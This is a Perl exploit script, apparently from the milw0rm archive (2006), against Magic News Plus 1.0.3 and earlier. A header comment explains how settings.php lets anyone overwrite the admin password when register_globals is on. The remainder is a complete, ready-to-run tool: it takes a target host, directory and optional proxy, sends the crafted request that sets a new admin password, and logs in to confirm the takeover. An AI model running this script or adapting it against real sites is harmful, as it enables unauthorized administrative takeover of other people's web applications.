Magic News Plus 1.0.3 - Admin Pass Change

#!/usr/bin/perl
#
# Magic News Plus <=1.0.3 Admin Pass Change Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'settings.php'
# of Magic News Plus which can lead to the changing of
# the administrative password. Here is where the problem 
# is (line 108 of 426):
#
#       ...
# [1]   elseif ($action == "change")
#	       ...
# [2]	   if ($passwd != $admin_password)
#		       ...
# [3]		   if ($new_passwd != $confirm_passwd)
#       ...
#
# 1. &action=change
# 2. &passwd=<ANYTHING>&admin_password=<AGAIN>
# 3. &new_passwd=<NEW>&confirm_passwd=<AGAIN>
#
# -> register_globals = on
#
# haha, sorry, no cmd execute this time.
#
# $Id: cijfer-mnxpl.pl,v 0.1 2006/01/07 19:24:00 cijfer Exp cijfer $

use LWP::UserAgent;
use Getopt::Long;
use Term::ANSIColor;

$port = 80;
$new  = "cijfer";
$res  = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel, "new=s" => \$new);

&usage unless $host and $dir;
&exploit;

sub usage
{
	print "Magic News Plus <=1.0.3 Admin Pass Change Exploit\n";
	print "Usage: $0 -hdn [OPTION]...\n\n";
	print "  -h --host\thostname or ip of target\n";
	print "  -d --dir\tdirectory without ending slash\n";
	print "  -p --port\tport number (default: 80)\n";
	print "  -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
	print "  -n --new\tnew admin password you want (default: cijfer)\n\n";
	exit;
}

sub try
{
	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
	$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

	$path="http://".$host.$dir."/";
	$out=$cij->get($path."index.php?login=admin&password=".$new."&action=login");

	if($out->is_success)
	{
		if($out->content =~ /Wrong/)
		{
			print color("red"), ":(\n", color("reset");
			exit;
		}
	}
}

sub exploit
{
	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
	$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

	$string  = "settings.php?action=change";
	$string .= "&passwd=cijfer";
	$string .= "&admin_password=cijfer";
	$string .= "&new_passwd=";
	$string .= $new;
	$string .= "&confirm_passwd=";
	$string .= $new;

	$path="http://".$host.$dir."/";
	$out=$cij->get($path.$string);

	if($out->is_success)
	{
		print "trying username admin and password ".$new."...\n";
		&try;
		print "user: admin, pass: ".$new;
		print color("green"), " :)) ", color("reset");
		print "-- http://".$host.$dir."\n";
	}
	else
	{
		print color("red"), ":(\n", color("reset");
		exit;
	}
}

# milw0rm.com [2006-01-09]